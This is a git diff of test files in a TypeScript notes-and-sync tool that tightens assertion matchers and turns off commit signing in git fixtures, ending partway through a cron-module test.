emitters: [codexEmitter], coreSkillsDir: join(root, "none") }); - expect(res.warnings.some((w) => w.startsWith("codex emitter: AGENTS.md has 1 start and 0 end marker(s)"))).toBe(true); + const prefix = "codex emitter: AGENTS.md has 1 start and 0 end marker(s)"; + expect(res.warnings.map((w) => w.slice(0, prefix.length))).toContain(prefix); expect(res.emitters).toEqual([{ agent: "codex", written: [], removed: [] }]); }); }); @@ -559,7 +577,8 @@ describe("geminiEmitter GEMINI.md contract", () => { writeFileSync(join(root, "GEMINI.md"), text); const res = syncSkills({ root, modules: [] }, { emitters: [geminiEmitter], coreSkillsDir: join(root, "none") }); expect(readFileSync(join(root, "GEMINI.md"), "utf8")).toBe(text); - expect(res.warnings.some(w => w.startsWith("gemini emitter: GEMINI.md has 1 start and 0 end marker(s)"))).toBe(true); + const warning = "gemini emitter: GEMINI.md has 1 start and 0 end marker(s)"; + expect(res.warnings.map((w) => w.slice(0, warning.length))).toContain(warning); }); }); @@ -593,7 +612,7 @@ describe("Gemini installed contract refresh and read failure", () => { writeFileSync(contract, upgraded); expect(emit().written).toEqual(["GEMINI.md"]); const text = readFileSync(file, "utf8"); - expect(text.startsWith(before)).toBe(true); + expect(text.slice(0, before.length)).toBe(before); expect(contractBlockBody(text)).toBe(upgraded.trim()); expect(emit().written).toEqual([]); }); diff --git a/packages/core/tests/skills-lint.test.ts b/packages/core/tests/skills-lint.test.ts index 2f9d9113d2..b34dfa5475 100644 --- a/packages/core/tests/skills-lint.test.ts +++ b/packages/core/tests/skills-lint.test.ts @@ -71,7 +71,7 @@ describe("lint rules — one fixture per rule", () => { test("missing description → error", () => { const s = mkSkill("nodesc", { name: "nodesc" }); const findings = lintSkills([s]); - expect(findings.some((f) => f.rule === "frontmatter" && f.severity === "error")).toBe(true); + expect(findings).toContainEqual(expect.objectContaining({ rule: "frontmatter", severity: "error" })); }); test("Claude-only tool in body → error", () => { @@ -201,8 +201,7 @@ describe("lint rules — one fixture per rule", () => { extraFm: { "allowed-tools": "Bash", "disable-model-invocation": true }, }); const findings = lintSkills([s]).filter((f) => f.rule === "claude-specific-frontmatter"); - expect(findings).toHaveLength(2); - expect(findings.every((f) => f.severity === "info")).toBe(true); + expect(findings.map((f) => f.severity)).toEqual(["info", "info"]); }); test("absolute path in body → warning", () => { @@ -231,7 +230,7 @@ describe("lint rules — one fixture per rule", () => { const b = mkSkill("b-bad", { name: "b-bad", description: "d", body: "Claude should do it." }); const findings = lintSkills([a, b]); expect(findings).toContainEqual(expect.objectContaining({ skill: "b-bad", rule: "acting-agent", severity: "warning" })); - expect(findings.every((f) => f.skill === "b-bad")).toBe(true); + expect(findings.filter((f) => f.skill !== "b-bad")).toEqual([]); }); }); diff --git a/packages/core/tests/skills-pi-emitter.test.ts b/packages/core/tests/skills-pi-emitter.test.ts index 76df18d701..52e6ba24de 100644 --- a/packages/core/tests/skills-pi-emitter.test.ts +++ b/packages/core/tests/skills-pi-emitter.test.ts @@ -25,14 +25,19 @@ function skill(root: string, name: string): SkillManifest { } describe("piEmitter symlink round-trip", () => { - const root = mkRepo(); - const one = skill(root, "one"); - const two = skill(root, "two"); - const piDir = join(root, ".pi", "skills"); + /** A fresh repo with skills one and two, emitted `times` times already. */ + function repo(times: number) { + const root = mkRepo(); + const one = skill(root, "one"); + const two = skill(root, "two"); + for (let run = 0; run < times; run++) piEmitter.emit([one, two], root); + return { root, one, two, piDir: join(root, ".pi", "skills") }; + } test("first emit creates relative symlinks into the canonical home", () => { // pi reads /.pi/skills, never .agents/skills — but the skill itself // must stay single-sourced, so these are links rather than copies. + const { root, one, two, piDir } = repo(0); const res = piEmitter.emit([one, two], root); expect(res.written.sort()).toEqual([".pi/skills/one", ".pi/skills/two"]); expect(res.removed).toEqual([]); @@ -44,12 +49,14 @@ describe("piEmitter symlink round-trip", () => { }); test("second emit is idempotent (no writes, no removals)", () => { + const { root, one, two } = repo(1); const res = piEmitter.emit([one, two], root); expect(res.written).toEqual([]); expect(res.removed).toEqual([]); }); test("dropping a skill prunes its stale symlink", () => { + const { root, one, piDir } = repo(1); const res = piEmitter.emit([one], root); expect(res.removed).toEqual([".pi/skills/two"]); expect(existsSync(join(piDir, "two"))).toBe(false); diff --git a/packages/core/tests/skills-shipped-lint.test.ts b/packages/core/tests/skills-shipped-lint.test.ts index 6af4fd8142..27ac6d5e23 100644 --- a/packages/core/tests/skills-shipped-lint.test.ts +++ b/packages/core/tests/skills-shipped-lint.test.ts @@ -42,7 +42,7 @@ describe("shipped core skills", () => { const { skills, warnings } = shippedSkills(); expect(warnings).toEqual([]); expect(skills.length).toBeGreaterThanOrEqual(12); - expect(skills.every((s) => s.source === "core")).toBe(true); + expect(skills.filter((s) => s.source !== "core").map((s) => s.name)).toEqual([]); }); test("include external-compute, which skills sync emits for Claude (#3107)", () => { diff --git a/packages/core/tests/stats-history.test.ts b/packages/core/tests/stats-history.test.ts index 752eae4f0c..58260ff118 100644 --- a/packages/core/tests/stats-history.test.ts +++ b/packages/core/tests/stats-history.test.ts @@ -114,7 +114,7 @@ describe("recordSnapshot", () => { recordSnapshot(root, snap("2026-09-27")); recordSnapshot(root, snap("2026-09-28")); expect(lines(root).map((l) => JSON.parse(l).date)).toEqual(["2026-09-27", "2026-09-28", "2026-09-29"]); - expect(readFileSync(join(root, STATS_HISTORY_FILE), "utf8").endsWith("}\n")).toBe(true); + expect(readFileSync(join(root, STATS_HISTORY_FILE), "utf8").slice(-2)).toBe("}\n"); }); test("refuses to rewrite a file with a line that is not a snapshot, and leaves it as it was", () => { @@ -159,7 +159,9 @@ describe("retention", () => { kept = thin(kept, today); for (let i = 0; i < 60; i++) { today = new Date(Date.parse(`${today}T00:00:00Z`) + 86_400_000).toISOString().slice(0, 10); - const before = kept.filter((s) => Date.parse(s.date) < Date.parse(today) - (DAILY_DAYS + 7) * 86_400_000); + // Everything already past yesterday's daily window was kept for good, a week straddling it included. + const before = kept.filter((s) => Date.parse(s.date) < Date.parse(today) - (DAILY_DAYS + 1) * 86_400_000); + expect(before.length).toBeGreaterThan(0); kept = thin([...kept, { date: today }], today); for (const s of before) expect(kept.map((k) => k.date)).toContain(s.date); } diff --git a/packages/core/tests/stats-trends-cli.test.ts b/packages/core/tests/stats-trends-cli.test.ts index 1e36a567df..3f1fbb7f84 100644 --- a/packages/core/tests/stats-trends-cli.test.ts +++ b/packages/core/tests/stats-trends-cli.test.ts @@ -23,7 +23,7 @@ test("real stats, history, briefing and maintain reuse nonempty core verdicts; e writeFileSync(path, original); const expected = readStatsTrends(root, { coverageFloor: 0.9, brokenLinkCeiling: 0.05 }, now).verdicts; expect(expected).toHaveLength(3); - expect(expected.every(v => v.state === "warning")).toBe(true); + expect(expected.map(v => v.state)).toEqual(["warning", "warning", "warning"]); for (const command of [["stats", "--json"], ["stats", "--history", "--since", rows[13].date, "--json"]]) { const result = await runCli(root, command); expect(result.code, result.stderr).toBe(0); @@ -56,7 +56,7 @@ test("no history is an explicit insufficient verdict with no briefing warnings o expect(result.code).toBe(0); const { trends } = JSON.parse(result.stdout); expect(trends.verdicts).toHaveLength(3); - expect(trends.verdicts.every((v: { state: string }) => v.state === "insufficient")).toBe(true); + expect(trends.verdicts.map((v: { state: string }) => v.state)).toEqual(["insufficient", "insufficient", "insufficient"]); expect((await runCli(root, ["briefing"])).stdout).not.toContain("Initial policy thresholds"); expect(existsSync(join(root, STATS_HISTORY_FILE))).toBe(false); }); diff --git a/packages/core/tests/storage-attachment-facts.test.ts b/packages/core/tests/storage-attachment-facts.test.ts index 7c9ca92c8c..63a553d609 100644 --- a/packages/core/tests/storage-attachment-facts.test.ts +++ b/packages/core/tests/storage-attachment-facts.test.ts @@ -15,6 +15,6 @@ test("attachment consequences include unindexed Markdown links and invalidate wh writeFileSync(join(root, "notes/arrival.md"), "[[chart.pdf]]\n"); const second = inspectStorageAttachmentFacts(root, ["attachments/chart.pdf"]); expect(second.fingerprint, "STORAGE_CONSEQUENCES_BOUND_TO_REVIEW").not.toBe(first.fingerprint); - expect(second.files[0]?.references.some(value => value.source === "notes/arrival.md" && value.certainty === "possible")).toBe(true); + expect(second.files[0]?.references).toContainEqual(expect.objectContaining({ source: "notes/arrival.md", certainty: "possible" })); } finally { rmSync(root, { recursive: true, force: true }); } }); diff --git a/packages/core/tests/storage-attachments.test.ts b/packages/core/tests/storage-attachments.test.ts index db6a0444c4..fe899d79ee 100644 --- a/packages/core/tests/storage-attachments.test.ts +++ b/packages/core/tests/storage-attachments.test.ts @@ -35,7 +35,8 @@ test("aliases, executable attachments and protected paths remain ineligible", as rmSync(join(f.root, "attachments", "alias.pdf")); chmodSync(f.file, 0o700); await expect(inspectStorageAttachment(f.root, f.path)).rejects.toThrow("protected"); chmodSync(f.file, 0o600); symlinkSync(f.file, join(f.root, "attachments", "link.pdf")); - await expect(inspectStorageAttachment(f.root, "attachments/link.pdf")).rejects.toThrow(); + // O_NOFOLLOW refuses the link itself (ELOOP); any other error would not prove the link was not followed. + await expect(inspectStorageAttachment(f.root, "attachments/link.pdf")).rejects.toThrow(/ELOOP|protected/); for (const path of [".brain/cache.pdf", "workspaces/harbor/chart.pdf", "context/policies/chart.pdf", "../chart.pdf", "attachments/script.ts"]) await expect(inspectStorageAttachment(f.root, path)).rejects.toThrow("protected"); expect(readFileSync(f.file)).toEqual(f.bytes); diff --git a/packages/core/tests/storage-host-reader.test.ts b/packages/core/tests/storage-host-reader.test.ts index 00b05562f4..5e4bd1a448 100644 --- a/packages/core/tests/storage-host-reader.test.ts +++ b/packages/core/tests/storage-host-reader.test.ts @@ -34,7 +34,7 @@ test("public host reader resolves approved worktree markers and refuses redirect expect((await readStorageInventory({ brainPath: worktree })).errors, "STORAGE_HOST_APPROVED_ROOTS_ONLY").toContainEqual({ path: "git", reason: "external-git-root-not-approved" }); const result = await readStorageInventory({ brainPath: worktree, gitRoots: [repo, alternate] }); expect(result.status, JSON.stringify(result.errors)).toBe("complete"); - expect(result.roots.some(value => value.path === join(alternate, "objects"))).toBe(true); + expect(result.roots.map(value => value.path)).toContain(join(alternate, "objects")); const common = join(repo, ".git", "worktrees", "voyage", "commondir"), outside = join(root, "outside-marker"); unlinkSync(common); writeFileSync(outside, "../..\n"); symlinkSync(outside, common); expect((await readStorageInventory({ brainPath: worktree, gitRoots: [repo, alternate] })).errors, "STORAGE_HOST_MARKER_REDIRECT_REFUSED").toContainEqual({ path: "git", reason: "git-metadata-unsupported" }); diff --git a/packages/core/tests/storage-inventory.test.ts b/packages/core/tests/storage-inventory.test.ts index 8a3d4d2d43..0efd3c4285 100644 --- a/packages/core/tests/storage-inventory.test.ts +++ b/packages/core/tests/storage-inventory.test.ts @@ -53,18 +53,18 @@ test("resolves real linked worktrees and approved alternates without counting sh mkdirSync(repo); mkdirSync(alternate); git(repo, "init"); git(alternate, "init", "--bare"); writeFileSync(join(repo, "raft.md"), "Odysseus builds a raft.\n"); - git(repo, "add", "."); git(repo, "-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Raft"); + git(repo, "add", "."); // Command-scoped: environment-scoped signing config outranks GIT_CONFIG_GLOBAL (#3485). + git(repo, "-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Raft"); git(repo, "worktree", "add", "-b", "voyage", worktree); writeFileSync(join(repo, ".git", "objects", "info", "alternates"), join(alternate, "objects") + "\n"); // Only objects/info/alternates has Git alternate semantics. writeFileSync(join(repo, ".git", "info", "alternates"), "/not-an-approved-store\n"); const denied = await collectStorageInventory(worktree); expect(denied.status, "UNAPPROVED_GIT_STORE_PARTIAL").toBe("partial"); - expect(denied.errors.some((e: any) => e.reason === "external-git-root-not-approved")).toBe(true); + expect(denied.errors.map((e: any) => e.reason)).toContain("external-git-root-not-approved"); const approved = await collectStorageInventory(worktree, { gitRoots: [repo, alternate] }); expect(approved.status, JSON.stringify(approved.errors)).toBe("complete"); - expect(approved.roots.some((r: any) => r.path === join(repo, ".git"))).toBe(true); - expect(approved.roots.some((r: any) => r.path === join(alternate, "objects"))).toBe(true); + expect(approved.roots.map((r: any) => r.path)).toEqual(expect.arrayContaining([join(repo, ".git"), join(alternate, "objects")])); expect(new Set(approved.entries.map((e: any) => e.objectId)).size, "OVERLAPPING_GIT_ROOT_UNION").toBe(approved.entries.length); const again = await collectStorageInventory(worktree, { gitRoots: [repo, alternate] }); expect(again.revision, "STABLE_OBSERVATION_REVISION").toBe(approved.revision); diff --git a/packages/core/tests/storage-pack.test.ts b/packages/core/tests/storage-pack.test.ts index b6f6384179..67996fab10 100644 --- a/packages/core/tests/storage-pack.test.ts +++ b/packages/core/tests/storage-pack.test.ts @@ -2,12 +2,15 @@ import { expect, test } from "bun:test"; import { writeFileSync } from "node:fs"; import { join } from "node:path"; import { makeTempBrain, cleanup, keylessEnv, runCli } from "./cli-harness"; + +// Fixture commits disable signing at command scope, so no ambient or +// environment-scoped signing configuration reaches them (#3485). test("storage pack uses existing non-destructive maintenance and preserves history and refs", async () => { const root = makeTempBrain(); const git = (...args: string[]) => { const p = Bun.spawnSync(["git", "-C", root, ...args], { stdout: "pipe", stderr: "pipe", env: { ...process.env, GIT_CONFIG_GLOBAL: "/dev/null", GIT_CONFIG_NOSYSTEM: "1" } }); expect(p.exitCode, p.stderr.toString()).toBe(0); return p.stdout.toString(); }; try { - git("init"); git("add", "."); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Ithaca"); - writeFileSync(join(root, "chart.bin"), Buffer.alloc(8192, 7)); git("add", "chart.bin"); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "commit", "-m", "Voyage"); + git("init"); git("add", "."); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Ithaca"); + writeFileSync(join(root, "chart.bin"), Buffer.alloc(8192, 7)); git("add", "chart.bin"); git("-c", "user.name=Odysseus", "-c", "user.email=odysseus@example.invalid", "-c", "commit.gpgsign=false", "commit", "-m", "Voyage"); git("tag", "departure", "HEAD~1"); const refs = git("show-ref"), history = git("log", "--all", "--format=%H"), reflog = git("reflog", "--all", "--format=%H"); const result = await runCli(root, ["storage", "pack", "--json"]); expect(result.code, "STORAGE_PACK_NARROW_COMMAND").toBe(0); @@ -37,7 +40,7 @@ test("packing on a genuinely full private tmpfs refuses before maintenance and p const root=${JSON.stringify(root)}; const env={...process.env,GIT_CONFIG_GLOBAL:"/dev/null",GIT_CONFIG_NOSYSTEM:"1",GIT_OPTIONAL_LOCKS:"0"}; function git(...args){const p=Bun.spawnSync(["git","-C",root,...args],{env,stdout:"pipe",stderr:"pipe"});if(p.exitCode)throw Error(p.stderr.toString());return p.stdout.toString();} -writeFileSync(root+"/brain.config.ts","export default {};\\n");writeFileSync(root+"/recovery.txt","Odysseus retains the chart.");git("init");git("add",".");git("-c","user.name=Odysseus","-c","user.email=odysseus@example.invalid","commit","-m","Ithaca");const before=git("show-ref"); +writeFileSync(root+"/brain.config.ts","export default {};\\n");writeFileSync(root+"/recovery.txt","Odysseus retains the chart.");git("init");git("add",".");git("-c","user.name=Odysseus","-c","user.email=odysseus@example.invalid","-c","commit.gpgsign=false","commit","-m","Ithaca");const before=git("show-ref"); const fd=openSync(root+"/occupied","wx");try{for(let i=0;i<4096;i++)writeSync(fd,Buffer.alloc(4096));}catch(error){if(error.code!=="ENOSPC")throw error;}finally{closeSync(fd);} if(statfsSync(root).bavail!==0)throw Error("volume did not fill"); const p=Bun.spawnSync([process.execPath,${JSON.stringify(cli)},"storage","pack","--json"],{env:{...env,BRAIN_ROOT:root},stdout:"pipe",stderr:"pipe"}); diff --git a/packages/core/tests/sync-artifacts.test.ts b/packages/core/tests/sync-artifacts.test.ts index f4970a6d38..bdfd900399 100644 --- a/packages/core/tests/sync-artifacts.test.ts +++ b/packages/core/tests/sync-artifacts.test.ts @@ -5,7 +5,7 @@ * commit carries `.gitignore` alone. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -18,11 +18,27 @@ import { type AssessedFile, type IgnorePlan, } from "../src/lib/sync/artifacts.js"; +import { withoutSigning } from "./git-fixture"; const ARTIFACT = [".DS_Store", "*.swp", "*~", "*.log", "tmp/*"]; const dirs: string[] = []; +// applyIgnores commits through git children that inherit process.env, and an +// env-scoped `GIT_CONFIG_COUNT` signing setting outranks the fixture's +// repository-local `commit.gpgsign false` (#3485). Append the overrides for +// each test and put the environment back exactly as it was. +let savedEnv: Record = {}; +beforeEach(() => { + const isolated = withoutSigning({ ...process.env } as Record); + savedEnv = Object.fromEntries(Object.keys(isolated).filter((key) => key.startsWith("GIT_CONFIG_")).map((key) => [key, process.env[key]])); + for (const key of Object.keys(savedEnv)) process.env[key] = isolated[key]; +}); + afterEach(() => { + for (const [key, value] of Object.entries(savedEnv)) { + if (value === undefined) delete process.env[key]; + else process.env[key] = value; + } for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); diff --git a/packages/core/tests/sync-assess.test.ts b/packages/core/tests/sync-assess.test.ts index 9ebca48d7f..baedb1ea0c 100644 --- a/packages/core/tests/sync-assess.test.ts +++ b/packages/core/tests/sync-assess.test.ts @@ -33,7 +33,10 @@ describe("sync exact paths", () => { expect(body.files).toContainEqual({ path: "new -> note.md", class: "TRACK", status: "R" }); for (const path of names) expect(body.files).toContainEqual({ path, class: "TRACK", status: "?" }); const grouped = JSON.parse((await runCli(root, ["sync", "group", "--json"])).stdout); - expect(grouped.groups.some((g: { path: string }) => g.path.includes("credentials"))).toBe(false); + const groupedPaths = grouped.groups.map((g: { path: string }) => g.path); + // The TRACK files are grouped; neither SENSITIVE file is. + expect(groupedPaths).toContain("new -> note.md"); + expect(groupedPaths).not.toContainEqual(expect.stringContaining("credentials")); } finally { cleanup(root); } }); diff --git a/packages/core/tests/sync-commit.test.ts b/packages/core/tests/sync-commit.test.ts index 349fac7aa6..114807a07b 100644 --- a/packages/core/tests/sync-commit.test.ts +++ b/packages/core/tests/sync-commit.test.ts @@ -77,7 +77,7 @@ describe("composeSubject", () => { test("a first title too long alone is shortened, still within 72 characters", () => { const subject = composeSubject("Add", ["routes"], ["A".repeat(100), "B"]); expect([...subject].length).toBeLessThanOrEqual(72); - expect(subject.endsWith("… (+1 more)")).toBe(true); + expect(subject).toEndWith("… (+1 more)"); }); }); @@ -91,7 +91,7 @@ describe("planCommits", () => { const plan = planCommits(root, groups); expect(plan.commits.map((c) => c.files.length)).toEqual([10, 2]); - expect(plan.commits.every((c) => c.domains.join() === "routes")).toBe(true); + expect(plan.commits.map((c) => c.domains)).toEqual([["routes"], ["routes"]]); expect(plan.commits[1]!.subject).toBe("Add routes: Route 11, Route 12"); }); @@ -261,7 +261,7 @@ describe("applyCommitPlan", () => { const results = applyCommitPlan(root, planCommits(root, [groups[0]!, groups[1]!]), allowed); expect(filesOf(root, "HEAD").sort()).toEqual(["routes/lake.md", "routes/ridge.md"]); expect(git(root, "diff", "--cached", "--name-only")).toBe("gear/radio.md\nstaged.md"); - expect("sha" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("sha"); }); test("a file outside the allowed set refuses the whole plan and commits nothing", () => { @@ -269,8 +269,8 @@ describe("applyCommitPlan", () => { const head = git(root, "rev-parse", "HEAD"); const plan = planCommits(root, [...groups, { domain: "misc", status: "A", path: "staged.md" }]); const results = applyCommitPlan(root, plan, allowed); - expect(results.every((r) => "error" in r)).toBe(true); - expect(results.some((r) => "error" in r && r.error === "refused: not in the assessed set: staged.md")).toBe(true); + expect(results.filter((r) => !("error" in r))).toEqual([]); + expect(results.map((r) => ("error" in r ? r.error : null))).toContain("refused: not in the assessed set: staged.md"); expect(git(root, "rev-parse", "HEAD")).toBe(head); }); @@ -292,7 +292,7 @@ describe("applyCommitPlan", () => { write(root, "a*.md", "star\n"); write(root, "ab.md", "not allowed\n"); const results = applyCommitPlan(root, { commits: [{ domains: ["x"], files: [{ path: "a*.md", status: "?" }], subject: "Add x: a*", body: "" }] }, new Set(["a*.md"])); - expect("sha" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("sha"); expect(filesOf(root, "HEAD")).toEqual(["a*.md"]); expect(git(root, "status", "--porcelain")).toBe("?? ab.md"); }); @@ -303,7 +303,7 @@ describe("applyCommitPlan", () => { writeFileSync(join(hooks, "pre-commit"), "#!/bin/sh\nexit 1\n", { mode: 0o755 }); write(root, "routes/lake.md", note("Cave Path")); const results = applyCommitPlan(root, planCommits(root, [{ domain: "routes", status: "?", path: "routes/lake.md" }]), new Set(["routes/lake.md"])); - expect("error" in results[0]!).toBe(true); + expect(results[0]).toHaveProperty("error"); expect(git(root, "status", "--porcelain", "-uall")).toBe("?? routes/lake.md"); }); }); diff --git a/packages/core/tests/sync-merge-hidden.test.ts b/packages/core/tests/sync-merge-hidden.test.ts index a63828ccb8..e0a0175882 100644 --- a/packages/core/tests/sync-merge-hidden.test.ts +++ b/packages/core/tests/sync-merge-hidden.test.ts @@ -34,7 +34,7 @@ describe("table-union compares cells as written", () => { const { content, notes } = resolvedOf(planMerge({ path: "_index.md", base, ours, theirs }, "table-union").render(new Map())); expect(content).toContain("| ridge | [old](new-url) |"); expect(content).toContain("| ridge | [new](old) |"); - expect(notes.some((note) => note.includes("both sides changed"))).toBe(true); + expect(notes).toContainEqual(expect.stringContaining("both sides changed")); }); test("a link target only THEIRS changed is taken", () => { diff --git a/packages/core/tests/sync-pending-state.test.ts b/packages/core/tests/sync-pending-state.test.ts index 3b719bd6a1..bd06d11ab5 100644 --- a/packages/core/tests/sync-pending-state.test.ts +++ b/packages/core/tests/sync-pending-state.test.ts @@ -9,18 +9,35 @@ * that says origin/main is in HEAD (synced, fast-forwarded, merged) is true. */ -import { afterEach, describe, expect, test } from "bun:test"; +import { afterEach, beforeEach, describe, expect, test } from "bun:test"; import { chmodSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { conclude, pendingState } from "../src/lib/sync/merge-state.js"; import { makeTempBrain, runCli } from "./cli-harness"; +import { withoutSigning } from "./git-fixture"; const CACHE = ".brain-cache/contexts.jsonl"; const NOTE = "notes/sailor-log.md"; const dirs: string[] = []; +// Environment-scoped Git configuration (GIT_CONFIG_COUNT) outranks the +// repository-local `commit.gpgsign false` below, and reaches both the +// in-process sync code and the CLI children through process.env (#3485). +// Each test appends command-scoped no-signing entries and drops them after. +let restoreGitConfig = () => {}; +beforeEach(() => { + const before: Record = {}; + for (const [key, value] of Object.entries(process.env)) if (value !== undefined && key.startsWith("GIT_CONFIG_")) before[key] = value; + Object.assign(process.env, withoutSigning(before)); + restoreGitConfig = () => { + for (const key of Object.keys(process.env)) if (key.startsWith("GIT_CONFIG_") && !(key in before)) delete process.env[key]; + Object.assign(process.env, before); + }; +}); + afterEach(() => { + restoreGitConfig(); for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); diff --git a/packages/core/tests/sync-pull-rebase.test.ts b/packages/core/tests/sync-pull-rebase.test.ts index 74a35942f2..3e420c1387 100644 --- a/packages/core/tests/sync-pull-rebase.test.ts +++ b/packages/core/tests/sync-pull-rebase.test.ts @@ -90,7 +90,7 @@ describe("rebase-first sync pull", () => { const recorder = recordingGit(root); const { body, result } = await pull(root, recorder.env); expect(readFileSync(join(root, CACHE), "utf-8")).toBe(ours); - expect(recorder.calls().some((line) => line.includes("rebase --abort"))).toBe(true); + expect(recorder.calls()).toContainEqual(expect.stringContaining("rebase --abort")); expect(body.mergedCaches).toContain(CACHE); expect(body.status).toBe("conflicted"); expect(result.code).toBe(0); diff --git a/packages/core/tests/sync-stash.test.ts b/packages/core/tests/sync-stash.test.ts index 86e1d871e6..740fcd80fd 100644 --- a/packages/core/tests/sync-stash.test.ts +++ b/packages/core/tests/sync-stash.test.ts @@ -14,18 +14,20 @@ import { reconcileStashes } from "../src/lib/sync/stash.js"; import { mergeFileMarkers } from "./sync-fixture"; const dirs: string[] = []; +/** Fixture commits never sign, whatever ambient or environment-scoped configuration says (#3485). */ +const UNSIGNED = ["-c", "commit.gpgsign=false"]; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); function run(cwd: string, ...args: string[]): { out: string; code: number } { - const result = Bun.spawnSync(["git", "-C", cwd, ...args]); + const result = Bun.spawnSync(["git", ...UNSIGNED, "-C", cwd, ...args]); return { out: (result.stdout.toString() + result.stderr.toString()).trim(), code: result.exitCode ?? 0 }; } function git(cwd: string, ...args: string[]): string { - const result = Bun.spawnSync(["git", "-C", cwd, ...args]); + const result = Bun.spawnSync(["git", ...UNSIGNED, "-C", cwd, ...args]); if (result.exitCode !== 0) throw new Error(`git ${args.join(" ")}: ${result.stderr.toString()}`); return result.stdout.toString().trim(); } diff --git a/packages/core/tests/sync-verbs.test.ts b/packages/core/tests/sync-verbs.test.ts index a3e7dc3d8c..607c369eba 100644 --- a/packages/core/tests/sync-verbs.test.ts +++ b/packages/core/tests/sync-verbs.test.ts @@ -109,8 +109,8 @@ describe("commit", () => { for (const file of [EAGLE, IDEA]) expect(readFileSync(join(root, file), "utf-8")).toContain(`updated: ${localDate()}`); const subjects = body.commits.map((c: { subject: string }) => c.subject); expect(subjects).toHaveLength(2); - expect(subjects.some((s: string) => s.startsWith("Update note: "))).toBe(true); - expect(subjects.some((s: string) => s.startsWith("Add health: Sailor hydration"))).toBe(true); + expect(subjects).toContainEqual(expect.stringMatching(/^Update note: /)); + expect(subjects).toContainEqual(expect.stringMatching(/^Add health: Sailor hydration/)); for (const c of body.commits) expect(c.sha).toMatch(/^[0-9a-f]{40}$/); expect(Number(git(root, "rev-list", "--count", "HEAD"))).toBe(before + 2); expect(git(root, "status", "--porcelain", "--", EAGLE, IDEA, HYDRATION)).toBe(""); diff --git a/packages/core/tests/tags.test.ts b/packages/core/tests/tags.test.ts index 1855990b94..23d65e5e1c 100644 --- a/packages/core/tests/tags.test.ts +++ b/packages/core/tests/tags.test.ts @@ -388,10 +388,13 @@ describe("brain tags --apply, round 1 of review", () => { try { const warnings = await indexAndAccept(db, root, ctx.taxonomy, written); expect(warnings).toEqual(["notes/b.md changed after its tags were rewritten; its mtime was not accepted"]); - const accepted = (path: string) => - (db.prepare("SELECT accepted_mtime FROM documents WHERE path = ?").get(path) as { accepted_mtime: string | null }).accepted_mtime; - expect(accepted("notes/a.md")).not.toBeNull(); - expect(accepted("notes/b.md")).toBeNull(); + const row = (path: string) => + db.prepare("SELECT accepted_mtime, file_mtime FROM documents WHERE path = ?").get(path) as { accepted_mtime: string | null; file_mtime: string | null }; + // Accepted means the baseline is the mtime the index just read for the rewritten bytes. + const a = row("notes/a.md"); + expect(a.file_mtime).not.toBeNull(); + expect(a.accepted_mtime).toBe(a.file_mtime); + expect(row("notes/b.md").accepted_mtime).toBeNull(); } finally { db.close(); } diff --git a/packages/core/tests/taxonomy.test.ts b/packages/core/tests/taxonomy.test.ts index 83b2a4ea8d..e93a139a59 100644 --- a/packages/core/tests/taxonomy.test.ts +++ b/packages/core/tests/taxonomy.test.ts @@ -1,6 +1,10 @@ import { describe, expect, test } from "bun:test"; +import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; import { brainConfigSchema, type BrainConfig } from "../src/lib/config"; +import { loadModules } from "../src/lib/module-loader"; import type { LoadedModule } from "../src/lib/module-types"; import { buildTaxonomy } from "../src/lib/taxonomy"; @@ -130,7 +134,7 @@ describe("reference brain shape (modules + user config)", () => { }, ], }); - expect(withJobs.typeForPath("career/opportunities/acme/status.md")).toBe("opportunity"); + expect(withJobs.typeForPath("career/opportunities/scheria/status.md")).toBe("opportunity"); expect(withJobs.typeForPath("career/cv.md")).toBe("career"); }); @@ -155,7 +159,7 @@ describe("reference brain shape (modules + user config)", () => { // Prefix rules match the containing dir: nested files match "career/", // a direct child of career/ falls through to the generic dir label // (verbatim historical deriveAssetTitle semantics). - expect(tax.assetTitleFor("career/applications/acme/jd.pdf")).toBe("CV: jd"); + expect(tax.assetTitleFor("career/applications/scheria/jd.pdf")).toBe("CV: jd"); expect(tax.assetTitleFor("career/cv-2026.pdf")).toBe("career: cv-2026"); expect(tax.assetTitleFor("notes/scans/receipt.pdf")).toBe("scans: receipt"); }); @@ -414,23 +418,41 @@ describe("modules key containment", () => { describe("module cron field constraints", () => { // The loader's contribution schema is not exported; exercise it through a - // local module fixture the loader actually imports. - test("regex shapes accept real entries and reject injection", () => { - const name = /^[a-z0-9][a-z0-9-]{0,63}$/; - const schedule = /^[-0-9*,/ ]{1,100}$/; - const command = /^[A-Za-z0-9 _.:=@,\-/]{1,200}$/; + // local module fixture the loader actually imports. The fixture returns + // whatever cron entries its config block hands it, so one module file + // serves every case. + async function loadCron(cron: unknown[]) { + const root = mkdtempSync(join(tmpdir(), "brain-taxonomy-cron-")); + try { + mkdirSync(join(root, "modules", "watchtower"), { recursive: true }); + writeFileSync( + join(root, "modules", "watchtower", "module.ts"), + 'export default { name: "watchtower", setup: (config) => ({ cron: config.cron }) };\n' + ); + const loaded = await loadModules(brainConfigSchema.parse({ modules: { "./modules/watchtower": { cron } } }), root); + return loaded[0]!.manifest.cron; + } finally { + rmSync(root, { recursive: true, force: true }); + } + } + const entry = { name: "scrape", schedule: "0 6 * * *", command: "jobs scrape --all" }; - expect(name.test("scrape")).toBe(true); - expect(schedule.test("0 6 * * 